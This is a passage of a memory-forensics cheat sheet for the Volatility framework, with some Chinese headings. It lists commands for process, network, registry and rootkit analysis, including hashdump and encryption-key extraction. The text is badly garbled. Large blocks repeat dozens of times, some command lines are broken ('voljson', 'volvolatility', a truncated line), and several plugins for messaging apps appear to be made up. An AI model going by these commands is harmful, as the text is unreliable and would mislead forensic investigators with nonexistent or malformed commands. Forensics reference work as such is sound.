  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notifys`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Services**
  * \`volatility -f \<memory\_dump> --profile=\<profile

```bash
volatility --profile=Win7SP1x86_23418 netscan -f file.dmp
volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only
volatility --profile=Win7SP1x86_23418 connscan -f file.dmp#TCP connections
volatility --profile=Win7SP1x86_23418 sockscan -f file.dmp#Open sockets
volatility --profile=Win7SP1x86_23418 sockets -f file.dmp#Scanner for tcp socket objects

volatility --profile=SomeLinux -f file.dmp linux_ifconfig
volatility --profile=SomeLinux -f file.dmp linux_netstat
volatility --profile=SomeLinux -f file.dmp linux_netfilter
volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table
volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes)
volatility --profile=SomeLinux -f file.dmp linux_route_cache
```

## 注册表文件

### 打印可用的注册表文件

```bash
./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots
./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys
```

### Volatility Cheat Sheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping Registry Hives**
  * `voljson -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Extracting Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <physical_offset> -D <output_directory>`

#### Advanced Commands

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Process Memory**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Analyzing Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Identifying Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Analyzing Timelining**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing Packed Binaries**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Registry Transactions**
  * `volatility -f <memory_dump> --profile=<profile> printkey -K <key>`
* **Analyzing User Assist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing TrueCrypt Keys**
  * `volatility -f <memory_dump> --profile=<profile> truecryptmaster`
* **Analyzing LUKS Keys**
  * `volatility -f <memory_dump> --profile=<profile> luksmeta`
* **Analyzing Bitlocker Keys**
  * `volatility -f <memory_dump> --profile=<profile> bitlocker`
* **Analyzing Chrome Extensions**
  * `volatility -f <memory_dump> --profile=<profile> chromehistory`
* **Analyzing Firefox Extensions**
  * `volatility -f <memory_dump> --profile=<profile> firefoxhistory`
* **Analyzing Internet Explorer History**
  * `volatility -f <memory_dump> --profile=<profile> iehistory`
* **Analyzing Outlook Memory**
  * `volatility -f <memory_dump> --profile=<profile> outlook`
* **Analyzing Thunderbird Memory**
  * `volatility -f <memory_dump> --profile=<profile> thunderbird`
* **Analyzing Skype Memory**
  * `volatility -f <memory_dump> --profile=<profile> skype`
* **Analyzing Telegram Memory**
  * `volatility -f <memory_dump> --profile=<profile> telegram`
* **Analyzing Slack Memory**
  * `volatility -f <memory_dump> --profile=<profile> slack`
* **Analyzing Discord Memory**
  * `volatility -f <memory_dump> --profile=<profile> discord`
* **Analyzing Signal Memory**
  * `volatility -f <memory_dump> --profile=<profile> signal`
* **Analyzing WhatsApp Memory**
  * `volatility -f <memory_dump> --profile=<profile> whatsapp`
* **Analyzing Viber Memory**
  * `volatility -f <memory_dump> --profile=<profile> viber`
* **Analyzing Facebook Messenger Memory**
  * `volatility -f <memory_dump> --profile=<profile> facebookmessenger`
* **Analyzing Instagram Memory**
  * `volatility -f <memory_dump> --profile=<profile> instagram`
* **Analyzing Snapchat Memory**
  * `volatility -f <memory_dump> --profile=<profile> snapchat`
* **Analyzing TikTok Memory**
  * `volatility -f <memory_dump> --profile=<profile> tiktok`
* **Analyzing WeChat Memory**
  * `volatility -f <memory_dump> --profile=<profile> wechat`
* **Analyzing Line Memory**
  * `volatility -f <memory_dump> --profile=<profile> line`
* **Analyzing Kik Memory**
  * `volatility -f <memory_dump> --profile=<profile> kik`
* **Analyzing Telegram Memory**
  * `volatility -f <memory_dump> --profile=<profile> telegram`
* **Analyzing Slack Memory**
  * `volatility -f <memory_dump> --profile=<profile> slack`
* **Analyzing Discord Memory**
  * `volatility -f <memory_dump> --profile=<profile> discord`
* **Analyzing Signal Memory**
  * `volatility -f <memory_dump> --profile=<profile> signal`
* **Analyzing WhatsApp Memory**
  * `volatility -f <memory_dump> --profile=<profile> whatsapp`
* **Analyzing Viber Memory**
  * `volatility -f <memory_dump> --profile=<profile> viber`
* **Analyzing Facebook Messenger Memory**
  * `volatility -f <memory_dump> --profile=<profile> facebookmessenger`
* **Analyzing Instagram Memory**
  * `volatility -f <memory_dump> --profile=<profile> instagram`
* **Analyzing Snapchat Memory**
  * `volatility -f <memory_dump> --profile=<profile> snapchat`
* **Analyzing TikTok Memory**
  * `volatility -f <memory_dump> --profile=<profile> tiktok`
* **Analyzing WeChat Memory**
  * `volatility -f <memory_dump> --profile=<profile> wechat`
* **Analyzing Line Memory**
  * `volatility -f <memory_dump> --profile=<profile> line`
* **Analyzing Kik Memory**
  * `volatility -f <memory_dump> --profile=<profile> kik`
* **Analyzing Telegram Memory**
  * `volatility -f <memory_dump> --profile=<profile> telegram`
* **Analyzing Slack Memory**
  * `volatility -f <memory_dump> --profile=<profile> slack`
* **Analyzing Discord Memory**
  * `volatility -f <memory_dump> --profile=<profile> discord`
* **Analyzing Signal Memory**
  * `volatility -f <memory_dump> --profile=<profile> signal`
* **Analyzing WhatsApp Memory**
  * `volatility -f <memory_dump> --profile=<profile> whatsapp`
* **Analyzing Viber Memory**
  * `volatility -f <memory_dump> --profile=<profile> viber`
* **Analyzing Facebook Messenger Memory**
  * `volatility -f <memory_dump> --profile=<profile> facebookmessenger`
* **Analyzing Instagram Memory**
  * `volatility -f <memory_dump> --profile=<profile> instagram`
* **Analyzing Snapchat Memory**
  * `volatility -f <memory_dump> --profile=<profile> snapchat`
* **Analyzing TikTok Memory**
  * `volatility -f <memory_dump> --profile=<profile> tiktok`
* **Analyzing WeChat Memory**
  * `volatility -f <memory_dump> --profile=<profile> wechat`
* **Analyzing Line Memory**
  * `volatility -f <memory_dump> --profile=<profile> line`
* **Analyzing Kik Memory**
  * `volatility -f <memory_dump> --profile=<profile> kik`
* **Analyzing Telegram Memory**
  * `volatility -f <memory_dump> --profile=<profile> telegram`
* **Analyzing Slack Memory**
  * `volatility -f <memory_dump> --profile=<profile> slack`
* **Analyzing Discord Memory**
  * `volatility -f <memory_dump> --profile=<profile> discord`
* **Analyzing Signal Memory**
  * `volatility -f <memory_dump> --profile=<profile> signal`
* **Analyzing WhatsApp Memory**
  * `volatility -f <memory_dump> --profile=<profile> whatsapp`
* **Analyzing Viber Memory**
  * `volatility -f <memory_dump> --profile=<profile> viber`
* **Analyzing Facebook Messenger Memory**
  * `volatility -f <memory_dump> --profile=<profile> facebookmessenger`
* **Analyzing Instagram Memory**
  * `volatility -f <memory_dump> --profile=<profile> instagram`
* **Analyzing Snapchat Memory**
  * `volatility -f <memory_dump> --profile=<profile> snapchat`
* **Analyzing TikTok Memory**
  * `volatility -f <memory_dump> --profile=<profile> tiktok`
* **Analyzing WeChat Memory**
  * `volatility -f <memory_dump> --profile=<profile> wechat`
* **Analyzing Line Memory**
  * `volatility -f <memory_dump> --profile=<profile> line`
* **Analyzing Kik Memory**
  * `volatility -f <memory_dump> --profile=<profile> kik`
* **Analyzing Telegram Memory**
  * `volatility -f <memory_dump> --profile=<profile> telegram`
* **Analyzing Slack Memory**
  * `volatility -f <memory_dump> --profile=<profile> slack`
* **Analyzing Discord Memory**
  * `volatility -f <memory_dump> --profile=<profile> discord`
* **Analyzing Signal Memory**
  * `volatility -f <memory_dump> --profile=<profile> signal`
* **Analyzing WhatsApp Memory**
  * `volatility -f <memory_dump> --profile=<profile> whatsapp`
* **Analyzing Viber Memory**
  * `volatility -f <memory_dump> --profile=<profile> viber`
* **Analyzing Facebook Messenger Memory**
  * `volatility -f <memory_dump> --profile=<profile> facebookmessenger`
* **Analyzing Instagram Memory**
  * `volatility -f <memory_dump> --profile=<profile> instagram`
* **Analyzing Snapchat Memory**
  * `volatility -f <memory_dump> --profile=<profile> snapchat`
* **Analyzing TikTok Memory**
  * `volatility -f <memory_dump> --profile=<profile> tiktok`
* **Analyzing WeChat Memory**
  * `volatility -f <memory_dump> --profile=<profile> wechat`
* **Analyzing Line Memory**
  * `volatility -f <memory_dump> --profile=<profile> line`
* **Analyzing Kik Memory**
  * `volatility -f <memory_dump> --profile=<profile> kik`

```bash
volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots
volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys
```

### 获取数值

```bash
./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion"
```

### Volatility Cheatsheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing DLLs**
  * `voljson -f <memory_dump> --profile=<profile> dlllist`
* **Dumping a DLL**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Listing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive**
  * `volvolatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **File Extraction**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Dumping a File** json -f \<memory\_dump> --profile= dumpfiles -Q \<physical\_offset> -D \<output\_directory>\`
* **Kernel Driver Analysis**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Dumping Kernel Driver**
  * `volatility -f <memory_dump> --profile=<profile> moddump -o <offset> -D <output_directory>`
* **Process Tree**
  * `volatility -f <memory_dump> --profile=<profile> pstree`
* **Command History**
  * `volatility -f <memory_dump> --profile=<profile> cmdscan`
* **User Accounts**
  * `volatility -f <memory_dump> --profile=<profile> useraccounts`
* **Dumping SAM**
  * `volatility -f <memory_dump> --profile=<profile> hashdump -y <offset>`
* **Crash Dump Analysis**
  * `volatility -f <memory_dump> --profile=<profile> memmap`

#### Advanced Commands

* **Rootkit Detection**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockets`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivescan`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden Objects**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden IRPs**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden TCP/IP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> tcpip`
* **Detecting Hidden Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> tokens`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
